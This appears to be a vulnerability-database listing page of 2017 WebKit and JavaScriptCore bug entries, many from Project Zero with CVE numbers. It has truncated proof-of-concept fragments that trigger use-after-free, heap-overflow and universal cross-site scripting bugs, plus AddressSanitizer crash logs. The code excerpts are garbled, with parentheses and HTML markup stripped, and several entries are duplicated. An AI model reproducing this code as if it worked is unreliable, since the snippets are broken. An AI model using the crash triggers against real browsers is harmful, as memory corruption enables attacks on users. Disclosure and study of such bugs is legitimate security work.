WebKit JSC - ObjectPatternNode::appendEntry Stack Use-After-Free

WebKit JSC - ObjectPatternNode::appendEntry Stack Use-After-Free Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1256 Here's a snippet of ObjectPatternNode::appendEntry. void appendEntryconst JSTokenLocation&, ExpressionNode propertyExpression, DestructuringPatternNode pattern,...

WebKit WebCore::AccessibilityRenderObject::handleAriaExpandedChanged Use-After-Free

WebKit: use-after-free in WebCore::AccessibilityRenderObject::handleAriaExpandedChanged CVE-2017-7043 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. Note that accessibility features need to be enabled in order to trigge...

WebKit WebCore::RenderObject Use-After-Free

WebKit: use-after-free in WebCore::RenderObject with accessibility enabled CVE-2017-7046 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. Note that accessibility features need to be enabled in order to trigger this bug. O...

WebKit WebCore::Node::nextSibling Use-After-Free

WebKit: use-after-free in WebCore::Node::nextSibling CVE-2017-7039 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC: ================================================================= function freememory var a; forvar...

WebKit JSC ArgumentsEliminationPhase::transform Incorrect LoadVarargs Handling Vulnerability

WebKit JSC suffers from incorrect LoadVarargs handling in ArgumentsEliminationPhase::transform. WebKit: JSC: Incorrect LoadVarargs handling in ArgumentsEliminationPhase::transform CVE-2017-7056 Here is a snippet of ArgumentsEliminationPhase::transform case LoadVarargs: ... if candidate-op ==...

WebKit WebCore::RenderSearchField::addSearchResult Heap Buffer Overflow

WebKit: heap-buffer-overflow in WebCore::RenderSearchField::addSearchResult CVE-2017-7049 There is a heap buffer overflow in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC: ================================================================= function go i.value = "1";...

WebKit JSC JSArray::appendMemcpy Uninitialized Memory Copy

WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy CVE-2017-7064 WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy Here's a snippet of JSArray::appendMemcpy. bool JSArray::appendMemcpyExecState exec, VM& vm, unsigned startIndex, JSC::JSArray otherArray auto scope =...

WebKit JSC JSObject::putInlineSlow / JSValue::putToPrimitive XSS Vulnerability

WebKit JSC JSObject::putInlineSlow and JSValue::putToPrimitive suffer from a universal cross site scripting vulnerability. WebKit: JSC: UXSS via JSObject::putInlineSlow and JSValue::putToPrimitive CVE-2017-7037 JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of...

WebKit JSC - 'ObjectPatternNode::appendEntry' Stack Use-After-Free

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1256 Here's a snippet of ObjectPatternNode::appendEntry. void appendEntryconst JSTokenLocation&, ExpressionNode propertyExpression, DestructuringPatternNode pattern, ExpressionNode defaultValue, BindingType bindingType...

Apple iOS < 10.3.3 Multiple Vulnerabilities

Binary data appleios1033check.nbin...

WebKit - WebCore::AccessibilityNodeObject::textUnderElement Use-After-Free Exploit

Exploit for multiple platform in category dos / poc function go li.hidden = true; dir.setAttribute"aria-labeledby", "map"; !-- ================================================================= ASan log: ================================================================= ==728==ERROR:...

WebKit - WebCore::getCachedWrapper Use-After-Free Exploit

Exploit for multiple platform in category dos / poc function freememory var a; forvar i=0;i !-- ================================================================= ASan log: ================================================================= ==29632==ERROR: AddressSanitizer: heap-use-after-free on...

WebKit - WebCore::RenderSearchField::addSearchResult Heap Buffer Overflow Exploit

Exploit for multiple platform in category dos / poc function go i.value = "1"; i.type = "search"; f.submit; ::buffer /Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x8664+0x2694d46 1 0x116496bed in WTF::Vector::end...

WebKit - WebCore::AccessibilityNodeObject::textUnderElement Use-After-Free

WebKit - WebCore::AccessibilityNodeObject::textUnderElement Use-After-Free function go li.hidden = true; dir.setAttribute"aria-labeledby", "map"; !-- ================================================================= ASan log: =================================================================...

WebKit - 'WebCore::AccessibilityNodeObject::textUnderElement' Use-After-Free

function go li.hidden = true; dir.setAttribute"aria-labeledby", "map"; !-- ================================================================= ASan log: ================================================================= ==728==ERROR: AddressSanitizer: heap-use-after-free on address 0x6080000908a0 at...

WebKit - 'WebCore::Node::getFlag' Use-After-Free

-webkit-flow-into: textarea; function freememory var a; forvar i=0;i foo !-- ================================================================= ASan log: ================================================================= ==29717==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000053b3...

WebKit - 'WebCore::RenderObject' with Accessibility Enabled Use-After-Free

link text-transform: lowercase; link::first-letter border-spacing: 1em; function go dt.appendChildlink; var s = link.style; s.setProperty"display", "table-column-group"; s.setProperty"-webkit-appearance", "menulist-button"; function eventhandler dir.setAttribute"aria-labeledby", "meta";...

WebKit - WebCore::getCachedWrapper Use-After-Free

WebKit - WebCore::getCachedWrapper Use-After-Free function freememory var a; forvar i=0;i ::get const /Users/projectzero/webki...

WebKit - WebCore::Node::nextSibling Use-After-Free

WebKit - WebCore::Node::nextSibling Use-After-Free function freememory var a; forvar i=0;i !-- ================================================================= ASan log: ================================================================= ==29516==ERROR: AddressSanitizer: heap-use-after-free on...

WebKit - WebCore::InputType::element Use-After-Free (1)

WebKit - WebCore::InputType::element Use-After-Free 1 var runcount = 0; function go runcount++; ifruncount 2 return; i.type = "foo"; i.select; i.type = "search"; document.onsearch = document.body.onload; document.execCommand"insertHTML", false, ""; !--...